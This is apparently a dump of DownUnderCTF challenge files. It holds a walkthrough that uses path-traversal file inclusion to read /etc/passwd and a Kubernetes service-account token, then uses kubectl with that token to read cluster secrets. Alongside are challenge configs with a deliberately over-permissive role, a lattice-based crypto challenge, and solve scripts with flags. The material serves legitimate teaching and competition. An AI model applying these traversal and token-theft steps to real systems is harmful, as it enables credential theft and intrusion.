Navigating to http://whale-blog.duc.tf:30000/?page=../../../../../../etc/passwd we get the output of the `passwd` file as a comment on the HTML page. Awesome so we have a full Local File Inclusion (LFI) and we can read any file on the server. So given that the other IP address was the Kubernetes API we can make an educated guess that this web app is running on Kubernetes. Researching common exploits with kubernetes when you have an LFI is to read the Kubernetes Service account token that is automounted in the pod unless explicity told not too. Let's try and read that, it is located at `/var/run/secrets/kubernetes.io/serviceaccount/token`. So navigating to `http://whale-blog.duc.tf:30000/?page=../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token` and bingo, the output contains the base64 encoded token! `eyJhbGciOiJSUzI1NiIsImtpZCI6InVjU19kOWZzMnFvZUkxWmZuNnZRdUEtcHctUktQSHJvN010LTZFVF94NncifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tdHo3dnAiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQ3YTlhOTk4LTBlZjAtNDE5Mi1iNTgwLTVjZWEzNzZkNjEyZSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.nt5LO_dP556wtYCocTkegY2_hm-uTMo-2VJ2NIFqzu7k-plYN5FfOwriCNpH9AYIg_LCykZnTErs5eQCf01Ms0ybSuvzch41XiSfQwyKgVGdC-xooiqvPf0oUg1TjeaiLqyypvwDURxOS_9Hw5wG-3ew0LCNt7VTfU0sRA0B0Zx3rHCgeEBuJCAxgbmXr0FV-aUJ_w1GF0ovWNbd_l0naP4SVb5m9_wx1KabOIeFIf3gLoubEW_e6S9t2bYPuPy4uNZXDV5V4rs79rEEAfs85IQE5-Ue46PitpnEo5sWu870X4F3Q405HtyNQISUUP_tc1zFRgZ-bV-Dpf9kAPY_IQ` Let's go ahead and download this and see what this service account can do. For this we will need the `kubectl` binary to interact with the Kubernetes API and see what we can do. Note in the following commands I have saved the above token in a file called `token` and I am specifing the server that is the Kubernetes API. So let's see what this Service account can do by using the `can-i` command in kubectl `kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] secrets [] [] [get list] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` Wow so it looks like we can `get` and `list` secrets in the default namespace, lets go ahead and list the secrets. `kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets` ``` default-token-tz7vp kubernetes.io/service-account-token 3 8d nooooo-dont-read-me Opaque 1 8d ``` Looks like we are on here, lets go ahead and read the `nooooo-dont-read-me` secret `kubectl --token=$(cat token) --server=https://whale-endpoint.duc.tf/ get secrets nooooo-dont-read-me -o json` ```json { "apiVersion": "v1", "data": { "so-secret-though": "RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K" }, "kind": "Secret", } ``` Theres a base64 encoded secret, simply decoding it gives us the flag! `DUCTF{g00nies_got_th1s_l4st_year_now_u_did!}` ================================================ FILE: cloud/whale_blog/src/Dockerfile ================================================ FROM php:apache # Copy website RUN rm -rf /var/www/html/* ADD web/* /var/www/html/ ================================================ FILE: cloud/whale_blog/src/config.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: {{CONTAINER_NAME}} # REPLACE challenge-name and challenge-category to your challenges's name and category spec: replicas: 1 selector: matchLabels: app: {{CONTAINER_NAME}} template: metadata: labels: app: {{CONTAINER_NAME}} spec: enableServiceLinks: false containers: - name: {{CONTAINER_NAME}} image: gcr.io/{{PROJECT_NAME}}/{{CONTAINER_NAME}}:latest # Set this URL to your challenge container's image resources: # Resource limits for the container. These are important, in case people manage to max out CPU/RAM on your challenge limits: cpu: 100m memory: 150Mi requests: cpu: 10m memory: 30Mi ports: # Port exposed by the container, you can add multiple - containerPort: 80 name: port-80 --- apiVersion: v1 kind: Service metadata: # Set the challenge-name/challenge-category SAME as the deployment, otherwise they won't link to each other name: {{CONTAINER_NAME}} labels: challenge: {{CONTAINER_NAME}} spec: type: NodePort selector: app: {{CONTAINER_NAME}} ports: - port: 80 # The port exposed by the container name: port-80 targetPort: 80 # The port exposed by the container nodePort: 30000 # The port that is exposed on each Node on the cluster ================================================ FILE: cloud/whale_blog/src/permission.yaml ================================================ # This is to set up the RBAC for accessing secrets as the default service account in the default namespace. apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: creationTimestamp: null name: lol-role rules: - apiGroups: - "" resources: - secrets verbs: - get - list --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: creationTimestamp: null name: lol-test roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: lol-role subjects: - kind: ServiceAccount name: default --- apiVersion: v1 kind: Secret metadata: name: nooooo-dont-read-me type: Opaque data: # Base 64 encoded flag so-secret-though: RFVDVEZ7ZzAwbmllc19nb3RfdGgxc19sNHN0X3llYXJfbm93X3VfZGlkIX0K ================================================ FILE: cloud/whale_blog/src/web/index.php ================================================ Whale Blog

My story about whaless

I hope you the story about whales, one of my friends was all like, "GEEE k eeeeeeh" it was okay,

Whales a story.

Whales are cool, they exist and they are pretty big. Some of them are bigger than other whales. Some of the whales swim in the water. Actually I think most of the whales swim in the water. Water is a medium of which whales can swim through. Water is made up of 2 Parts Oxygen and 1 Part Hydrogen. Whales like this because they can swim in and it is where we live.

As for my second point, whales come in all shapes and sizes. They also do this thing where they swim to the top of the water (in the ocean usually) and then do a big jump at the top where they move from the water into the air. Air is made out of gas and does not have water on it. Because of this the whales realise that they cannot stay above the water for long because they must live in water so they drop back into the water. This is also due to gravity. Gravity is the force the pushes whales to the ground.

Whales also have a big hole on top of their body. The hole is called their "Whale Hole" when the whale has a lot of water in their body they must get rid of it. They do this by doing a big spurt and lots of water comes out. This is because they can't have too much water in their body because they are already surrounded by water.

In conclusion, I think that whales are cool and great and they do cool stuff. Sometimes they exists and sometimes they don't and thats okay. Because if whales are real. Then so are we.

Kind Regards,

Whale

Some Blog Links

================================================ FILE: cloud/whale_blog/src/web/page1 ================================================ Try Harder! ================================================ FILE: cloud/whale_blog/src/web/page2 ================================================ Hello World! ================================================ FILE: crypto/1337crypt-v2/README.md ================================================ # 1337crypt v2 **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 [1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_. **Attached files:** - ./challenge/1337crypt-v2.sage (sha256: 03cf9f5ef200873da1a459d03f63e2bd3d797086b5c14eb15ae874a5a0157fcd) - ./challenge/output.txt (sha256: 4bb4c75c4f874a355c09cc1a21393723af7a7bb5703f03c7b256ae2eb8e020f3) ================================================ FILE: crypto/1337crypt-v2/challenge/1337crypt-v2.sage ================================================ from Crypto.Util.number import getPrime, bytes_to_long flag = open('flag.txt', 'rb').read().strip() p, q = getPrime(1337), getPrime(1337) n = p*q K. = NumberField((x-p)^2 + q^2) hint1 = p^2 + q^2 hint2 = [] l = 1+337 for _ in range(1*3*3-7): a, b = getrandbits(1337), getrandbits(1337) x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z y = x*x.conjugate() hint2.append((int(y), a, b)) Zn. = (ZZ.quo(n*ZZ))[] ZnI. = Zn.quo(I^2 + 1) m = randrange(1, n) + bytes_to_long(flag) * I c = pow(m, 0x1337) print(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\n') ================================================ FILE: crypto/1337crypt-v2/challenge/flag.txt ================================================ DUCTF{mantissa_in_crypto??_n0_th4nks!!} ================================================ FILE: crypto/1337crypt-v2/challenge/output.txt ================================================ hint1 = 9474114456792673515431877947943819508105969635542281515830563486137327168661333703401850605206493227243522275742966516648683239582868203596838274343178793480973891177607186024817920580636526398124249438530268326706106084200991464054888550590630591134888356623254262308517945404542523082470069480353068223694311508861801523183513245279545596528410382012946385366699431483305340128165852371328697376926968446708099825429442186214124021086080153564030893750081986851543881131351556953787562383902563532279388285764786107301410609469955447888060120474186646198067390958666731078269768973485409216649415321100676385488676994332545669638759522053210552702128133338413305324201806761866164474398103381334477039479224259925086453057512169480806903881772813089475880157326511289464083589335128877565750510634618850 hint2 = [(732546382458694012527789828012658378094702844241795401426843533262220812770028735455197287163119092985574791815396084039371039996745646333674579318749988785972110472195404257454757344814442424493794011566431937242360848878285030166984149693743077380791443878087350475749876855340312637158554338528312647367781264029940556029591883509296327157870585105957528288777977912893801651347425601258985587330670953298765350018187069720989197539655266126608555068568433785671130844623376557756307700624321155540004939237651224429899583558320317618753120682478549822994855115229255313084828494729871333964260804633974731539710591594817406548163223896591957023800247556355776277803866504762994363248426088927388107745396346246364269053285330511504658050763844166012473791572894552857353549047649195624795947489180260979461063462063828112399114859364813704521025921163040319096254633472956309716047137099678802685979113668885601296025318218875502044310139823328365450929054463143898168438742821823709383772324178942782797995009228644990630313338092741812684409459706859981433655900653533420603781201785114071059836464490109704785152549161122683211537057829631974746267465106271003835623120675868336217957493577419646574917016786960763971105924313670864643113152080247596101761667919974877317059734430884155146853783807463171001928603696124835265895296591581488900411484570933812177545618929573489183920330986109459899431831015221573294655414274883012371358092609067769905057144741729285256290725546405447624734438623235233946301969480294721959115680856021696640872884026385162811995627855934793386619910476937700613082779, 1543824598221623810544208805328287421613768036151947874139391287620165680044273642997713684429385602196228549596953402195253771549624806908757244012787647676921740972118119690619160814867773301029620094485726996907379061963500831983371578370700427374066341469843386724329442101058337650126328673673103875588454070821764869582749550357448526278027673495765146251605639297850930361919443005623694632013303, 278066231056905142305104802223227529510107823582373063981133703297010715328189269872672545717708004188569473458656648620603642909190690880317856689557616399347538953740829444695466029704435732263108744727780955070759083273384356847390585190707938226562580173928509689922077486197504519480359398971760153208230160873276281036727480009843280457680277644007154868247812957266590582948212002647347579597965), (2403931462615300014912573083791207269120927941165936946270714147348589275302782927254153349406751900409737005652653965419293500156635383418370534229776798159799544655491444625223239629070116271649566531509751492007287556686610922243146922720689240769956444136141045389983487722510967341333296316124861289680453311483583713394680884118860739515747245777714794715741583447733115461680095467478792575220154609730018111981467052398055564596522296491712770565301016865613056558617018826541540034369006769600336871572325043701351770219492587170369815095344397680717819930616599208355365092147396589419063661351495695927808384696467907751578957796331366383391221037004742878990846671674314297157060496951084267550785175020195260374151822097301166545332365173007130667658669023236685137146454027881996654859397883138679620794416770836903293285267689375186032800923071081877797299448490161970114063577601307797826188431113415671273120884557490666872780316977507218882738147619244927641770516473541881268874031321080906148751514801419469523784406736104695838521768957591700470012632981881278541917424550592192054960270762406248837436552253011562745897713476468254217503340327771690937113342506707740878371307784138197357653258554320947445665637325825934844545591362876466794093523698691499245458580590045390833227060694376995243735824822120025136206595444317852707366827787780703456414342309744435791623414331744392284997640092463157849832124166944965921884701468913065315740226664124591175781629426506057267248659303310396227692666112080517619152746622372541984530565220811971391954114052398015660212010257113648848847, 1095271776133890944180744243712910546278746562392568011876271303881431329832093376635925871119446466987231888845639447279594831752278087660346437418402997861987783151298417098367490883057794520011454228160352569059415183920272078930149476192223454197039306461996527833603604938471295363667754643414137116188016150205603690898270274189826416464265752825558069478170856048769787582750749123139364050774900, 503722937364073120219172142862403799517933100630972300242952550817433776953552478694914014362767990852845981728951892566080540126804572527879551832311854342967959495035585119889481210539549990451963720802920003582648892828543694739151645941765335597098334960962085798952240875279321239403245884262371088975882015803767312665173035156867269826854927631774910426072984288933637519024572470691768302645082)] c = 605102888419960227209554020321928680123927287488855374705023014664876415212834812004489811277243459845970579234661036307883657755039678491432326372452841243321229852171896023071850921050801342321482817352489245753590859528134913389224781053767643398051814697896895555141791201522215484812840325201515942495422062613986130075684389632368804195932004897586630630338128732739336582396560286087433253207646470438321442025408149861408487622053608073870706373371068091196032798889074109310838175523351596714632562756238346928415386196418507587810202943766172435188745498284802679701385932344117910084137055452834777639122479568560833213921960536746001563295384313906616645378042076612734674897406388665158992742560848871345048141300064428115232029157294890916882227084289355920878535418217759491272196240289158*I + 4029058763453606238903897463441562834907249422434463474076515876575829847522130192389016587404930865750330557087612323698180248796377295462524538856886086398759909290696184205993616487194215215220788562122976961077906744617472657126002125275580071372330371116294688544107523683271239033324714979085342248973341926663953843846046960739886947485863993625451601367382937578510847100654709310703410238862000749364014455073705910890023184023421059288913438268024784676942709153616462894290327611033397199003399769315399282676125251796552761022560343255167268538619398474794249565056809687349530329863724341722260050648912909130315084736439621962322946883555665867960336853966064629555225967168666632969614488585135849531033105444785970372310095381763641123031809302021416125564151419362313796375570121725315170 ================================================ FILE: crypto/1337crypt-v2/challenge.yml ================================================ version: "0.1" id: 1337crypt-v2 name: 1337crypt v2 category: crypto description: | [1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_. Author: joseph#8210 tags: - hard files: - ./challenge/1337crypt-v2.sage - ./challenge/output.txt flags: - DUCTF{mantissa_in_crypto??_n0_th4nks!!} ================================================ FILE: crypto/1337crypt-v2/solve/solve.sage ================================================ from Crypto.Util.number import long_to_bytes exec(open('../challenge/output.txt').read()) # hint1, hint2, c nbits = 1337 l = 1+337 dd = 2^-l D = hint1 t1, t2 = [int(b^2 * D - y)//int(2*a*b) for y, a, b in hint2] s1, s2 = [int(dd*D)//a for _, a, b in hint2] M = Matrix([ [s1, 1, 0], [s2, 0, 1], [t1 - t2, 0, 0] ]) B = M.LLL() d = abs(B[0][1]) y, a, b = hint2[0] my_p = int(y - (b^2 + 2*dd*b*d)*D)//int(2*a*b) for p in range(my_p - 2^8, my_p + 2^8): if ZZ(D - p^2).is_square(): q = ZZ(D - p^2).sqrt() print('[+] primes recovered!', p, q) break n = p*q Zn. = (ZZ.quo(n*ZZ))[] ZnI. = Zn.quo(I^2 + 1) c = ZnI(c) d = pow(0x1337, -1, (p-1)*(q-1)) m = pow(c, int(d)) flag = long_to_bytes(list(m)[1]) print('[*] flag:', flag.decode()) ================================================ FILE: crypto/1337crypt-v2/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "3ebec137", "metadata": {}, "source": [ "# Challenge Overview\n", "\n", "The challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes.\n", "\n", "## Flag Encryption\n", "\n", "We start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background.\n", "\n", "We work in the ring $(\\mathbb{Z}/n\\mathbb{Z})[i]$ (we will just write this as $\\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \\mathrm{flag} \\cdot i$.\n", "\n", "The ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337.\n", "\n", "To decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\\mathbb{Z}_n[i]$. (Note: in this context, when we say \"the order of $\\mathbb{Z}_n[i]$\" we mean the cardinality of the multiplicative group of $\\mathbb{Z}_n[i]$) The order of $\\mathbb{Z}_n[i]$ is $\\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes.\n", "\n", "## Hints\n", "\n", "The challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$.\n", "\n", "### Hint 1\n", "\n", "The first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :)\n", "\n", "### Hint 2\n", "\n", "There is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\\mathbb{Q}$. The simplest number field is $\\mathbb{Q}$ itself, and the rational complex numbers, $\\mathbb{Q}(i)$ is also a number field.\n", "\n", "We can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \\pm qi$. Therefore, we define\n", "\n", "$$\n", "K = \\mathbb{Q}(p + qi)\n", "$$\n", "\n", "(side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element.\n", "\n", "Now, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as\n", "\n", "$$\n", "x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z\n", "$$\n", "\n", "Lastly,\n", "\n", "$$\n", "|x_j|^2 = x_j \\overline{x_j}\n", "$$\n", "\n", "is computed and we are given the three values $(\\lfloor |x_j|^2 \\rfloor, a_j, b_j)$. Note that $\\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \\overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\\lfloor |x_j|^2 \\rfloor$.\n", "\n", "Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information.\n", "\n", "# Solution\n", "\n", "Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so.\n", "\n", "## Analysing Hint 2\n", "\n", "There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have\n", "\n", "$$\n", "\\begin{aligned}\n", " x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\\\\n", " &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\\\\n", " &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\\\\n", "\\implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\\\\n", " &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\\\\n", " &\\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\\\\n", " &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\\\\n", " &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n", " &\\quad + (b^2 + 2 \\cdot 2^{-l} bd + 2^{-2l} d^2) D \\\\\n", " &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n", " &\\quad + b^2 D + 2 \\cdot 2^{-l} bd D + 2^{-2l} d^2 D\n", "\\end{aligned}\n", "$$\n", "\n", "Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \\times 1337$ bits.\n", "\n", "|Term|Size (in bits)|\n", "|---|---|\n", "|$a^2$|$2 \\times 1337$|\n", "|$2 \\cdot 2^{-l} ac$|$1337$|\n", "|$2^{-2l}c^2$|$0$|\n", "|$2abp$|$3 \\times 1337$|\n", "|$2 \\cdot 2^{-l} adp$|$2 \\times 1337$|\n", "|$2 \\cdot 2^{-l} bcp$|$2 \\times 1337$|\n", "|$2 \\cdot 2^{-2l} cdp$|$1337$|\n", "|$b^2 D$|$4 \\times 1337$|\n", "|$2 \\cdot 2^{-l} bd D$|$3 \\times 1337$|\n", "|$2^{-2l} d^2 D$|$2 \\times 1337$|\n", "\n", "Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \\times 1337$ bits in size, we can more or less throw away any term whose size is $2 \\times 1337$ or less. This leaves us with\n", "\n", "$$\n", "\\begin{aligned}\n", " \\frac{|x|^2}{2ab} = \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n", " &\\approx p + \\frac{b^2D}{2ab} + \\frac{2^{-l}dD}{a}\n", "\\end{aligned}\n", "$$\n", "\n", "This approximation itself is very accurate, and only differs by a few bits due to the $2 \\times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write\n", "\n", "$$\n", "\\begin{aligned}\n", " \\frac{y}{2ab} &\\approx p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d \\\\\n", " &= p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d + k\n", "\\end{aligned} \n", "$$\n", "\n", "where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\\lfloor \\rfloor$, but it should be understood that we are performing integer division.\n", "\n", "## Using Hint 2\n", "\n", "Now let's bring back the subscripts, noting that we have two instances:\n", "\n", "$$\n", "\\begin{aligned}\n", "\\begin{cases}\n", " \\frac{y_1}{2a_1 b_1} &= p + \\frac{b_1^2 D}{2 a_1 b_1} + \\frac{2^{-l} D}{a_1} d_1 + k_1 \\\\\n", " \\frac{y_2}{2a_2 b_2} &= p + \\frac{b_2^2 D}{2 a_2 b_2} + \\frac{2^{-l} D}{a_2} d_2 + k_2 \\\\\n", "\\end{cases}\n", "\\end{aligned}\n", "$$\n", "\n", "Finally, let's combine these two equations to eliminate $p$. \n", "\n", "$$\n", "\\frac{y_1 - b_1^2 D}{2 a_1 b_1} - \\frac{2^{-l} D}{a_1} d_1 - k_1 = \\frac{y_2 - b_2^2 D}{2 a_2 b_2}- \\frac{2^{-l} D}{a_2} d_2 - k_2\n", "$$\n", "\n", "Just so it's easier to read, let $t_j = \\frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \\frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have:\n", "\n", "$$\n", "t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2\n", "$$\n", "\n", "or to put it in a more exciting way:\n", "\n", "$$\n", "f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0\n", "$$\n", "\n", "Now, $f$ has \"small\" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\\mathbb{Z}/N\\mathbb{Z}$ for some large $N$.\n", "\n", "### Lattice Approach\n", "\n", "However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix:\n", "\n", "$$\n", "\\begin{bmatrix}\n", " s_1 & 1 & 0 \\\\\n", " s_2 & 0 & 1 \\\\\n", " t_1 - t_2 & 0 & 0\n", "\\end{bmatrix}\n", "$$\n", "\n", "The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector.\n", "\n", "## Recovering the Primes\n", "\n", "Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier:\n", "\n", "$$\n", "\\begin{aligned}\n", " \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n", " \\implies p &\\approx \\frac{y - (b^2 + 2 \\cdot 2^{-l} bd) D}{2ab}\n", "\\end{aligned}\n", "$$\n", "\n", "This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$.\n", "\n", "## Getting the Flag\n", "\n", "We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \\equiv e^{-1} \\pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result.\n" ] }, { "cell_type": "code", "execution_count": null, "id": "bd9c2253", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/1337crypt-v2/solve/writeup.md ================================================ # Challenge Overview The challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes. ## Flag Encryption We start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background. We work in the ring $(\mathbb{Z}/n\mathbb{Z})[i]$ (we will just write this as $\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \mathrm{flag} \cdot i$. The ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337. To decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\mathbb{Z}_n[i]$. (Note: in this context, when we say "the order of $\mathbb{Z}_n[i]$" we mean the cardinality of the multiplicative group of $\mathbb{Z}_n[i]$) The order of $\mathbb{Z}_n[i]$ is $\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes. ## Hints The challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$. ### Hint 1 The first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :) ### Hint 2 There is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\mathbb{Q}$. The simplest number field is $\mathbb{Q}$ itself, and the rational complex numbers, $\mathbb{Q}(i)$ is also a number field. We can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \pm qi$. Therefore, we define $$ K = \mathbb{Q}(p + qi) $$ (side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element. Now, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as 